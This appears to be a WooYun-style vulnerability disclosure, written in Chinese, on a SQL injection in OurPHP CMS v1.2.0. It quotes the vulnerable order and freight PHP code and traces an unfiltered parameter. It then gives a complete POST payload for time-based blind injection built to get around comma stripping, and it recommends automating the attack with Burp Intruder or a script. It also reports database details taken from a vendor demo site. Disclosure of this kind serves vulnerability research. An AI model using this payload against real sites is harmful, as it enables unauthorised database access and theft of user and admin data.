看到wooyun上ourphp这个厂商又出新的版本了,说修改了wooyun上现有的漏洞,我也来凑凑热闹吧。下载最新版本(ourphp_v1.2.0.20150414),2015-04-14更新的,研究学习一下。 注入一枚: POST /?cn-shoppingorders.html-&ourphp_cms=buy POST参数中存在可注入的参数,看代码
无关代码 elseif ($_GET["ourphp_cms"] == "buy"){ if($_POST['shoppingname'] == '' || $_POST['shoppingtel'] == '' || $_POST['shoppingadd'] == ''){ exit("<script language=javascript> alert('".$bookadd."');location.replace('".$ourphp_webpath."?".$ourphp_Language."-shoppingcart.html');</script>"); } if (!empty($_POST["ourphp_opcms"])){ //在这里获取ourphp_opcms参数 $a = implode(',',$_POST["ourphp_opcms"]);//注入时逗号不能用了 $b = str_replace(',|,','|',$a); $ourphp_opcms = substr($b, 0, -2); //去掉了最后两个字母 }else{ exit("no!"); } $fg = explode('|',$ourphp_opcms); foreach($fg as $op){ $opcms = explode(',',$op); $sql="insert into `ourphp_orders` set `OP_Ordersname` = '".dowith_sql($opcms[1])."', `OP_Ordersid` = '".dowith_sql($opcms[0])."', `OP_Ordersnum` = '".dowith_sql($opcms[7])."', `OP_Ordersemail` = '".$_SESSION['username']."', `OP_Ordersusername` = '".dowith_sql($_POST['shoppingname'])."', `OP_Ordersusertel` = '".dowith_sql($_POST['shoppingtel'])."', `OP_Ordersuseradd` = '".dowith_sql($_POST['shoppingadd'])."', `OP_Ordersusetext` = '".dowith_sql($opcms[8])."', `OP_Ordersproductatt` = '".dowith_sql($opcms[2])."', `OP_Orderswebmarket` = '".dowith_sql($opcms[5])."', `OP_Ordersusermarket` = '".dowith_sql($opcms[6])."', `OP_Ordersweight` = '".dowith_sql($opcms[3])."', `OP_Ordersfreight` = '".ourphp_freight(dowith_sql($_POST['shoppingadd']),$opcms[3],$opcms[4],dowith_sql($opcms[7]))."',//关键在这里,可以看到$opcms[4]没有使用dowith_sql() `time` = '".date("Y-m-d H:i:s")."', `OP_Ordersnumber` = '".'OP'.randomkeys(7)."', `OP_Orderssend` = 1, `OP_Orderspay` = 1 "; $query=mysql_query($sql); } $sql="delete from ourphp_shoppingcart where OP_Shopusername = '".$_SESSION['username']."'"; $query=mysql_query($sql); exit("<script language=javascript>location.replace('".$ourphp_webpath."?".$ourphp_Language."-shoppingorders.html');</script>");
跟进ourphp_freight(),见上面代码的注释,有个参数没有过滤
function ourphp_freight($add,$weight,$freight,$number){ global $db; $ourphp_rs = $db-> ourphpsql("select `OP_Freighttext`,`OP_Freightweight` from `ourphp_freight` where `id` = ".$freight); $freightop = explode('|',$ourphp_rs[0]); //首重 $weightop = $ourphp_rs[1]; //续重 $city = explode('|','北京市|天津市|上海市|重庆市|国外|河北省|河南省|云南省|辽宁省|黑龙江省|湖南省|安徽省|山东省|新疆|江苏省|浙江省|江西省|湖北省|广西|甘肃省|山西省|内蒙古|陕西省|吉林省|福建省|贵州省|广东省|青海省|西藏|四川省|宁夏|海南省|台湾省|香港|澳门'); $i=0; foreach($city as $op){ if(strstr($add,$op)){ $ok = $i; break; }else{ $ok = 4; } $i += 1; } if($number < 2){ if($weight < 2){ $yf = $freightop[$ok]; }else{ $yf = ($weight - 1) * $weightop + $freightop[$ok]; } }else{ $yfop = $number * $weight; $yf = ($yfop - 1) * $weightop + $freightop[$ok]; } return $yf; }
$freight也是就$opcms[4]没有经过dowith_sql()的过滤,这里可以注入,由于不能使用逗号,这里盲注吧 Payload:POST提交(因为代码过程中会去掉PAYLOAD的最后两个字母,所以payload最后可随意写两个任意字母)
shoppingname=pigtest&shoppingtel=13599450932&shoppingadd=12&Submit=%E6%94%B6%E9%93%B6%E5%8F%B0%E7%BB%93%E7%AE%97&ourphp_opcms[]=123&ourphp_opcms[]=456&ourphp_opcms[]=789&ourphp_opcms[]=000&ourphp_opcms[]=-1/**/or/**/(/**/select/**/case/**/when/**/(/**/select/**/user()/**/from/**/(/**/select/**/*/**/from/**/ourphp_user)/**/as/**/a/**/)/**/like/**/'z%'/**/then/**/sleep(1)/**/else/**/sleep(0)/**/end)/**/%23aa
本地测试如下: 因为是time-based blind 注入,猜测管理员用户名的第一个字母时,若错误,不延迟,如下图
若正确,延迟,如下图
按上面的方法依次做下去(burp intruder或者自己写个脚本跑),可测试本地管理员用户名为:admin Demo测试数据如下: Demo的数据库user为:ourphp@localhost Demo的Mysql版本:5.5.37 Demo的数据库:ourphp